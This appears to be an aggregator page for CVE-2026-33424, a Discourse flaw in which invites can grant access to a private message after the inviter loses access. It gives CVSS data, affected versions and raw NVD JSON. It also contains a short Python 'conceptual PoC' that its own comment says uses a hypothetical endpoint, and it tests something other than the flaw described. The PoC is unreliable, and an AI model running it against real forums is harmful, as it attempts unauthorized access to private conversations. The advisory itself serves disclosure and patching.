Security Vulnerability Report
中文
CVE-2026-33424 CVSS 5.9 MEDIUM

CVE-2026-33424

Published: 2026-03-21 00:16:27
Last Modified: 2026-03-24 19:38:59

Description

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an attacker can grant access to a private message topic through invites even after they lose access to that PM. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-33424 import requests def test_invite_bypass(target_url, invite_token, session_cookie): """ Attempts to access a private message using an invite token after access should have been revoked. """ headers = { "Cookie": f"_forum_session={session_cookie}" } # Endpoint to accept invite (hypothetical endpoint based on description) url = f"{target_url}/invites/{invite_token}/accept" response = requests.post(url, headers=headers) if response.status_code == 200 and "access_granted" in response.text: print("[+] Vulnerability confirmed: Access granted via old invite token.") return True else: print("[-] Access denied or vulnerability patched.") return False # Usage # test_invite_bypass("http://target-discourse.com", "INVITE_TOKEN", "SESSION_COOKIE")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33424", "sourceIdentifier": "[email protected]", "published": "2026-03-21T00:16:26.853", "lastModified": "2026-03-24T19:38:59.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an attacker can grant access to a private message topic through invites even after they lose access to that PM. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, un atacante puede otorgar acceso a un tema de mensaje privado a través de invitaciones incluso después de que pierda el acceso a ese MP. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.4, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-hgcp-p7hq-cwxw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}